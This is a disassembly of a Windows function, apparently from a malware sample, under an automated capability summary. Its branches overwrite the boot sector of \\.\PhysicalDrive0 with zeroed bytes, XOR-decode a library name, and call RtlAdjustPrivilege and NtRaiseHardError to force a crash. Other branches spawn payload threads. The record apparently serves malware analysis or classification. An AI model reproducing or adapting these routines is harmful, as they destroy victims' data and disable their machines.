Function at 0x1400019e0
Capabilities:
Create thread
Encode data using xor
Terminate thread
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x160], rax
movzx r8d, cl
cmp r8d, 0x1e
ja case.0x140001a34.3
lea r9, [0x140000000]
movzx eax, byte [r9 + r8 + 0x1f58]
mov edx, dword [r9 + rax*4 + 0x1f28]
add rdx, r9
jmp rdx
mov rcx, qword [0x140026e70]
test rcx, rcx
je 0x140001a4a
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, 0x67
mov r8d, 0x40005
mov rdx, rax
call qword [sym.imp.WINMM.dll_PlaySoundW]
mov rbx, qword [0x140026f78]
test rbx, rbx
jne 0x140001a79
mov ecx, 0x80070057
jmp 0x140001aa6
mov rax, qword [rbx]
xor r8d, r8d
movss xmm1, dword [0x1400219d0]
mov rcx, rbx
call qword [rax + 0x38]
test eax, eax
jne 0x140001aa4
mov rax, qword [rbx]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [rax + 0x70]
cmp eax, 1
jbe 0x140001aab
mov ecx, eax
call fcn.140001890
xor ebx, ebx
lea r8, [0x1400010b0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e70], rax
jmp 0x140001f04
mov rcx, qword [0x140026e78]
test rcx, rcx
je 0x140001aea
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, section..text
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e78], rax
jmp 0x140001f04
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINMM.dll_PlaySoundW]
lea rbx, [0x140026e70]
mov edi, 0x20
nop
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001b40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add rbx, 8
sub rdi, 1
jne 0x140001b30
jmp 0x140001f04
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x200
call fcn.140017550
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov r8d, 7
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001bd6
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbx
mov r8d, 0x200
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001c32
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
xor edx, edx
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
mov ecx, 0x1300
mov r9d, 0x400
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x140001f04
jmp 0x140001eca
movzx eax, word [0x140021838]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [str.ouemm_emm]
movsd qword [rsp + 0x50], xmm0
xor byte [rsp + 0x50], 1
xor byte [rsp + 0x51], 1
xor byte [rsp + 0x52], 1
xor byte [rsp + 0x53], 1
xor byte [rsp + 0x54], 1
xor byte [rsp + 0x55], 1
xor byte [rsp + 0x56], 1
xor byte [rsp + 0x57], 1
mov word [rsp + 0x58], ax
xor al, 1
mov byte [rsp + 0x58], al
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqu xmm0, xmmword [rsp + 0x50]
mov rdi, rax
mov ecx, 0x10
movdqa xmm1, xmmword [str.6666666666666666_]
xorps xmm1, xmm0
movdqu xmmword [rsp + 0x50], xmm1
nop word [rax + rax]
xor byte [rsp + rcx + 0x50], 0x36
inc rcx
cmp rcx, 0x13
jl 0x140001cc0
lea rdx, str.RtlAdjustPrivilege
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtRaiseHardError
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x48]
xor r8d, r8d
mov edx, 1
mov ecx, 0x13
mov rdi, rax
call rbx
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call rdi
jmp 0x140001f04
mov rcx, qword [0x140026e80]
test rcx, rcx
je 0x140001d42
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x140001360]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e80], rax
jmp 0x140001f04
mov rcx, qword [0x140026e88]
test rcx, rcx
je 0x140001d81
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x140001570]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e88], rax
jmp 0x140001f04
mov rcx, qword [0x140026e90]
test rcx, rcx
je 0x140001dc0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x140001110]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e90], rax
jmp 0x140001f04
mov rcx, qword [0x140026e98]
test rcx, rcx
je 0x140001dff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x1400015e0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026e98], rax
jmp 0x140001f04
mov rcx, qword [0x140026ea0]
test rcx, rcx
je 0x140001e3e
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x140001650]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026ea0], rax
jmp 0x140001f04
mov rcx, qword [0x140026ea8]
test rcx, rcx
je 0x140001e7d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
xor ebx, ebx
lea r8, [0x1400014d0]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140026ea8], rax
jmp 0x140001f04
sub cl, 3
cmp cl, 0x13
ja 0x140001f04
add r8d, 0xfffffffe
xor edx, edx
mov ecx, WSAStartup
mov r9d, 3
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x140001f04
xor ebx, ebx
mov qword [rsp + 0x40], rbx
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rbx
mov r9d, 0x400
mov r8d, eax
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x40]
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.1400037f0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret